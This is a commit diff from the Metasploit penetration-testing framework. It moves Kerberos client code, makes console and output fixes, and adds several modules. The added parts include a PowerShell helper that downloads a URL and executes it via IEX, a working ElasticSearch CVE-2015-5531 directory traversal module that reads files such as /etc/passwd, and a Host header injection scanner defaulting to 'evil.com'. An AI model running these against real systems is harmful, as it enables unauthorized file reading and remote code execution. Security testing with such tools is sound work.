||||
|
||||
priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new(
|
||||
checksum: checksum_type
|
||||
)
|
||||
|
||||
pac_type = Rex::Proto::Kerberos::Pac::Type.new(
|
||||
buffers: [
|
||||
logon_info,
|
||||
client_info,
|
||||
server_checksum,
|
||||
priv_srv_checksum
|
||||
],
|
||||
checksum: checksum_type
|
||||
)
|
||||
|
||||
pac_type
|
||||
end
|
||||
|
||||
# Builds an kerberos AuthorizationData structure containing a PACTYPE
|
||||
#
|
||||
# @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
|
||||
# @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
|
||||
# @return [Rex::Proto::Kerberos::Model::AuthorizationData]
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
def build_pac_authorization_data(opts = {})
|
||||
pac = opts[:pac] || build_pac(opts)
|
||||
|
||||
pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
||||
elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}]
|
||||
)
|
||||
authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
||||
elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}]
|
||||
)
|
||||
|
||||
authorization_data
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,273 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module TgsRequest
|
||||
|
||||
# Builds the encrypted Kerberos TGS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
|
||||
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @raise [RuntimeError] if ticket isn't available
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
# @see Rex::Proto::Kerberos::Model::Authenticator
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequest
|
||||
def build_tgs_request(opts = {})
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
if opts[:enc_auth_data]
|
||||
enc_auth_data = opts[:enc_auth_data]
|
||||
elsif opts[:auth_data]
|
||||
enc_auth_data = build_enc_auth_data(
|
||||
auth_data: opts[:auth_data],
|
||||
subkey: subkey
|
||||
)
|
||||
else
|
||||
enc_auth_data = nil
|
||||
end
|
||||
|
||||
body = build_tgs_request_body(opts.merge(
|
||||
enc_auth_data: enc_auth_data
|
||||
))
|
||||
|
||||
checksum = opts[:checksum] || build_tgs_body_checksum(:body => body)
|
||||
|
||||
if opts[:auhtenticator]
|
||||
authenticator = opts[:authenticator]
|
||||
else
|
||||
authenticator = build_authenticator(opts.merge(
|
||||
subkey: subkey,
|
||||
checksum: checksum
|
||||
))
|
||||
end
|
||||
|
||||
if opts[:ap_req]
|
||||
ap_req = opts[:ap_req]
|
||||
else
|
||||
ap_req = build_ap_req(opts.merge(:authenticator => authenticator))
|
||||
end
|
||||
|
||||
pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_TGS_REQ,
|
||||
value: ap_req.encode
|
||||
)
|
||||
|
||||
pa_data = []
|
||||
pa_data.push(pa_ap_req)
|
||||
if opts[:pa_data]
|
||||
opts[:pa_data].each { |pa| pa_data.push(pa) }
|
||||
end
|
||||
|
||||
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
||||
pvno: 5,
|
||||
msg_type: Rex::Proto::Kerberos::Model::TGS_REQ,
|
||||
pa_data: pa_data,
|
||||
req_body: body
|
||||
)
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
# Builds the encrypted TGS authorization data
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptedData]
|
||||
# @raise [RuntimeError] if auth_data option isn't provided
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
def build_enc_auth_data(opts = {})
|
||||
auth_data = opts[:auth_data]
|
||||
|
||||
if auth_data.nil?
|
||||
raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data'
|
||||
end
|
||||
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
encrypted = auth_data.encrypt(subkey.type, subkey.value)
|
||||
|
||||
e_data = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: subkey.type,
|
||||
cipher: encrypted
|
||||
)
|
||||
|
||||
e_data
|
||||
end
|
||||
|
||||
# Builds a KRB_AP_REQ message
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Fixnum] :pvno
|
||||
# @option opts [Fixnum] :msg_type
|
||||
# @option opts [Fixnum] :ap_req_options
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @raise [RuntimeError] if ticket option isn't provided
|
||||
# @see Rex::Proto::Kerberos::Model::Ticket
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def build_ap_req(opts = {})
|
||||
pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION
|
||||
msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ
|
||||
options = opts[:ap_req_options] || 0
|
||||
ticket = opts[:ticket]
|
||||
authenticator = opts[:authenticator] || build_authenticator(opts)
|
||||
session_key = opts[:session_key] || build_subkey(opts)
|
||||
|
||||
if ticket.nil?
|
||||
raise ::RuntimeError, 'Building a AP-REQ without ticket not supported'
|
||||
end
|
||||
|
||||
enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: session_key.type,
|
||||
cipher: authenticator.encrypt(session_key.type, session_key.value)
|
||||
)
|
||||
|
||||
ap_req = Rex::Proto::Kerberos::Model::ApReq.new(
|
||||
pvno: pvno,
|
||||
msg_type: msg_type,
|
||||
options: options,
|
||||
ticket: ticket,
|
||||
authenticator: enc_authenticator
|
||||
)
|
||||
|
||||
ap_req
|
||||
end
|
||||
|
||||
# Builds a kerberos authenticator for a TGS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Time] :ctime
|
||||
# @option opts [Fixnum] :cusec
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @return [Rex::Proto::Kerberos::Model::Authenticator]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::Authenticator
|
||||
def build_authenticator(opts = {})
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
ctime = opts[:ctime] || Time.now
|
||||
cusec = opts[:cusec] || ctime.usec
|
||||
checksum = opts[:checksum] || build_tgs_body_checksum(opts)
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
authenticator = Rex::Proto::Kerberos::Model::Authenticator.new(
|
||||
vno: 5,
|
||||
crealm: realm,
|
||||
cname: cname,
|
||||
checksum: checksum,
|
||||
cusec: cusec,
|
||||
ctime: ctime,
|
||||
subkey: subkey
|
||||
)
|
||||
|
||||
authenticator
|
||||
end
|
||||
|
||||
# Builds an encryption key to protect the data sent in the TGS request.
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :subkey_type
|
||||
# @option opts [String] :subkey_value
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def build_subkey(opts={})
|
||||
subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16)
|
||||
|
||||
subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(
|
||||
type: subkey_type,
|
||||
value: subkey_value
|
||||
)
|
||||
|
||||
subkey
|
||||
end
|
||||
|
||||
|
||||
# Builds a kerberos TGS request body
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}]
|
||||
# @option opts [Fixnum] :options
|
||||
# @option opts [Time] :from
|
||||
# @option opts [Time] :till
|
||||
# @option opts [Time] :rtime
|
||||
# @option opts [Fixnum] :nonce
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
||||
def build_tgs_request_body(opts = {})
|
||||
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
||||
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
||||
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
||||
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
||||
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
||||
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
sname = opts[:sname] || build_server_name(opts)
|
||||
enc_auth_data = opts[:enc_auth_data] || nil
|
||||
|
||||
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
||||
options: options,
|
||||
cname: cname,
|
||||
realm: realm,
|
||||
sname: sname,
|
||||
from: from,
|
||||
till: till,
|
||||
rtime: rtime,
|
||||
nonce: nonce,
|
||||
etype: etype,
|
||||
enc_auth_data: enc_auth_data
|
||||
)
|
||||
|
||||
body
|
||||
end
|
||||
|
||||
# Builds a Kerberos TGS Request body checksum
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
||||
# @return [Rex::Proto::Kerberos::Model::Checksum]
|
||||
# @see #build_tgs_request_body
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
def build_tgs_body_checksum(opts = {})
|
||||
body = opts[:body] || build_tgs_request_body(opts)
|
||||
checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5)
|
||||
checksum = Rex::Proto::Kerberos::Model::Checksum.new(
|
||||
type: 7,
|
||||
checksum: checksum_body
|
||||
)
|
||||
|
||||
checksum
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,74 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module TgsResponse
|
||||
|
||||
# Extracts the Kerberos credentials, buildint a MIT Cache Credential,
|
||||
# from a Kerberos TGS response.
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
# @see Msf::Kerberos::Client::CacheCredential
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
||||
def extract_kerb_creds(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE)
|
||||
enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
client = create_cache_principal(
|
||||
name_type: res.cname.name_type,
|
||||
realm: res.crealm,
|
||||
components: res.cname.name_string
|
||||
)
|
||||
|
||||
server = create_cache_principal(
|
||||
name_type: enc_res.sname.name_type,
|
||||
realm: enc_res.srealm,
|
||||
components: enc_res.sname.name_string
|
||||
)
|
||||
|
||||
key = create_cache_key_block(
|
||||
key_type: enc_res.key.type,
|
||||
key_value: enc_res.key.value
|
||||
)
|
||||
|
||||
times = create_cache_times(
|
||||
auth_time: enc_res.auth_time,
|
||||
start_time: enc_res.start_time,
|
||||
end_time: enc_res.end_time,
|
||||
renew_till: enc_res.renew_till
|
||||
)
|
||||
|
||||
credential = create_cache_credential(
|
||||
client: client,
|
||||
server: server,
|
||||
key: key,
|
||||
time: times,
|
||||
ticket: res.ticket.encode,
|
||||
flags: enc_res.flags
|
||||
)
|
||||
|
||||
cache_principal = create_cache_principal(
|
||||
name_type: res.cname.name_type, # NT_PRINCIPAL
|
||||
#realm: realm,# opts[:realm],
|
||||
realm: res.crealm,
|
||||
#components: user # [opts[:cname]]
|
||||
components: res.cname.name_string
|
||||
)
|
||||
|
||||
cache = create_cache(
|
||||
primary_principal: cache_principal,
|
||||
credentials: [credential]
|
||||
)
|
||||
|
||||
cache
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -2989,7 +2989,7 @@ class Core
|
|||
option_values_target_addrs().each do |addr|
|
||||
res << addr
|
||||
end
|
||||
when 'LHOST'
|
||||
when 'LHOST', 'SRVHOST'
|
||||
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
|
||||
if rh and not rh.empty?
|
||||
res << Rex::Socket.source_address(rh)
|
||||
|
@ -2997,9 +2997,9 @@ class Core
|
|||
res << Rex::Socket.source_address
|
||||
# getifaddrs was introduced in 2.1.2
|
||||
if Socket.respond_to?(:getifaddrs)
|
||||
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
|
||||
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
|
||||
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
|
||||
}
|
||||
end
|
||||
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
||||
end
|
||||
end
|
||||
|
|
|
@ -77,6 +77,22 @@ class Registry
|
|||
client, root_key, base_key, perm, response.get_tlv(TLV_TYPE_HKEY).value)
|
||||
end
|
||||
|
||||
# Checks if a key exists on the target registry
|
||||
#
|
||||
# @param root_key [String] the root part of the key path. Ex: HKEY_LOCAL_MACHINE
|
||||
# @param base_key [String] the base part of the key path
|
||||
# @return [Boolean] true if the key exists on the target registry, false otherwise, even
|
||||
# it the session hasn't permissions to access the target key.
|
||||
# @raise [TimeoutError] if the timeout expires when waiting the answer
|
||||
# @raise [Rex::Post::Meterpreter::RequestError] if the parameters are not valid
|
||||
def Registry.check_key_exists(root_key, base_key)
|
||||
request = Packet.create_request('stdapi_registry_check_key_exists')
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
response = client.send_request(request)
|
||||
return response.get_tlv(TLV_TYPE_BOOL).value
|
||||
end
|
||||
|
||||
#
|
||||
# Opens the supplied registry key on the specified remote host. Requires that the
|
||||
# current process has credentials to access the target and that the target has the
|
||||
|
|
|
@ -177,7 +177,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp
|
|||
|
||||
def print_dhcp_load_options_usage
|
||||
print("dhcp_load_options <datastore> [-h]\n\n" +
|
||||
"Load settings from a datstore to the active DHCP server.\n\n" +
|
||||
"Load settings from a datastore to the active DHCP server.\n\n" +
|
||||
"The datastore must be a hash of name/value pairs.\n" +
|
||||
"Valid names are:\n" +
|
||||
@@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') +
|
||||
|
|
|
@ -72,6 +72,22 @@ module Powershell
|
|||
def self.ignore_ssl_certificate
|
||||
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
|
||||
end
|
||||
|
||||
#
|
||||
# Use the default system web proxy and credentials to download a URL
|
||||
# as a string and execute the contents as PowerShell
|
||||
#
|
||||
# @param url [String] string to download
|
||||
#
|
||||
# @return [String] PowerShell code to download a URL
|
||||
def self.proxy_aware_download_and_exec_string(url)
|
||||
var = Rex::Text.rand_text_alpha(1)
|
||||
cmd = "$#{var}=new-object net.webclient;"
|
||||
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
|
||||
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
|
||||
cmd << "IEX $#{var}.downloadstring('#{url}');"
|
||||
cmd
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -74,6 +74,21 @@ class Output < Rex::Ui::Output
|
|||
def reset
|
||||
end
|
||||
|
||||
def puts(*args)
|
||||
args.each do |argument|
|
||||
line = argument.to_s
|
||||
print_raw(line)
|
||||
|
||||
unless line.ends_with? "\n"
|
||||
# yes, this is output, but `IO#puts` uses `rb_default_rs`, which is
|
||||
# [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172),
|
||||
# which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83)
|
||||
print_raw($INPUT_RECORD_SEPARATOR)
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -71,22 +71,6 @@ class Output::Stdio < Rex::Ui::Text::Output
|
|||
end
|
||||
alias_method :write, :print_raw
|
||||
|
||||
def puts(*args)
|
||||
args.each do |argument|
|
||||
line = argument.to_s
|
||||
write(line)
|
||||
|
||||
unless line.ends_with? "\n"
|
||||
# yes, this is output, but `IO#puts` uses `rb_default_rs`, which is
|
||||
# [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172),
|
||||
# which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83)
|
||||
write($INPUT_RECORD_SEPARATOR)
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def supports_color?
|
||||
case config[:color]
|
||||
when true
|
||||
|
|
|
@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
|
|||
# Metasploit::Credential database models
|
||||
spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
|
||||
# Database models shared between framework and Pro.
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '1.2.7'
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '1.2.9'
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
|
|
|
@ -9,7 +9,7 @@ require 'rex'
|
|||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Kerberos::Client
|
||||
include Msf::Exploit::Remote::Kerberos::Client
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -9,7 +9,7 @@ require 'rex/java/serialization'
|
|||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Java::Rmi::Client
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
|
|
@ -15,9 +15,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink User-Agent Backdoor Scanner',
|
||||
'Name' => 'D-Link User-Agent Backdoor Scanner',
|
||||
'Description' => %q{
|
||||
This module attempts to find DLink devices running Alphanetworks web interfaces affected
|
||||
This module attempts to find D-Link devices running Alphanetworks web interfaces affected
|
||||
by the backdoor found on the User-Agent header. This module has been tested successfully
|
||||
on a DIR-100 device with firmware version v1.13.
|
||||
},
|
||||
|
|
|
@ -0,0 +1,128 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'json'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ElasticSearch Snapshot API Directory Traversal',
|
||||
'Description' => %q{
|
||||
'This module exploits a directory traversal vulnerability in
|
||||
ElasticSearch, allowing an attacker to read arbitrary files
|
||||
with JVM process privileges, through the Snapshot API.'
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-5531'],
|
||||
['PACKETSTORM', '132721']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Benjamin Smith', # Vulnerability Discovery
|
||||
'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit Module
|
||||
'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9200),
|
||||
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
|
||||
], self.class
|
||||
)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def check_host(ip)
|
||||
res1 = send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwn'),
|
||||
'data' => '{"type":"fs","settings":{"location":"dsr"}}'
|
||||
)
|
||||
|
||||
res2 = send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwnie'),
|
||||
'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}'
|
||||
)
|
||||
|
||||
if res1.body.include?('true') && res2.body.include?('true')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def read_file(file)
|
||||
travs = '_snapshot/pwn/ev1l%2f'
|
||||
|
||||
payload = '../' * datastore['DEPTH']
|
||||
|
||||
travs << payload.gsub('/', '%2f')
|
||||
travs << file.gsub('/', '%2f')
|
||||
|
||||
vprint_status("#{peer} - Retrieving file contents...")
|
||||
|
||||
res = send_request_raw(
|
||||
'method' => 'GET',
|
||||
'uri' => travs
|
||||
)
|
||||
|
||||
if res && res.code == 400
|
||||
return res.body
|
||||
else
|
||||
print_status("Server returned HTTP response code: #{res.code}")
|
||||
print_status(res.body)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch")
|
||||
|
||||
check_code = check_host(ip)
|
||||
print_status("#{peer} - #{check_code.second}")
|
||||
if check_host(ip) != Exploit::CheckCode::Appears
|
||||
return
|
||||
end
|
||||
|
||||
filename = datastore['FILEPATH']
|
||||
filename = filename[1, filename.length] if filename =~ %r{/^\//}
|
||||
|
||||
contents = read_file(filename)
|
||||
unless contents
|
||||
print_error("#{peer} - No file downloaded")
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
data_hash = JSON.parse(contents)
|
||||
rescue JSON::ParserError => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
return
|
||||
end
|
||||
|
||||
fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
|
||||
fname = datastore['FILEPATH']
|
||||
|
||||
path = store_loot(
|
||||
'elasticsearch.traversal',
|
||||
'text/plain',
|
||||
ip,
|
||||
fcontent,
|
||||
fname
|
||||
)
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
end
|
||||
end
|
|
@ -0,0 +1,71 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::WmapScanServer
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HTTP Host Header Injection Detection',
|
||||
'Description' => 'Checks if the host is vulnerable to Host header injection',
|
||||
'Author' =>
|
||||
[
|
||||
'Jay Turla', # @shipcod3
|
||||
'Medz Barao' # @godflux
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html']
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETHOST', [true, 'The redirector target', 'evil.com'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
target_host = "#{datastore['TARGETHOST']}"
|
||||
res = send_request_raw(
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Host' => target_host,
|
||||
'X-Forwarded-Host' => target_host
|
||||
}
|
||||
)
|
||||
|
||||
unless res
|
||||
vprint_error("#{peer} did not reply to our request")
|
||||
return
|
||||
end
|
||||
|
||||
if res.headers.include?(target_host) || res.body.include?(target_host)
|
||||
print_good("#{peer} is vulnerable to HTTP Host header injection")
|
||||
report_vuln(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
sname: ssl ? 'https' : 'http',
|
||||
name: 'HTTP Host header injection',
|
||||
refs: self.references
|
||||
)
|
||||
else
|
||||
vprint_error("#{peer} returned #{res.code} #{res.message}")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -22,13 +22,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
begin
|
||||
res = connect
|
||||
connect
|
||||
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
||||
print_status("#{ip}:#{rport} IMAP #{banner_sanitized}")
|
||||
report_service(:host => rhost, :port => rport, :name => "imap", :info => banner)
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::EOFError
|
||||
print_error("#{ip}:#{rport} - The service failed to respond")
|
||||
rescue ::Exception => e
|
||||
print_error("#{rhost}:#{rport} #{e} #{e.backtrace}")
|
||||
print_error("#{ip}:#{rport} - #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'rex/java/serialization'
|
|||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Java::Rmi::Client
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
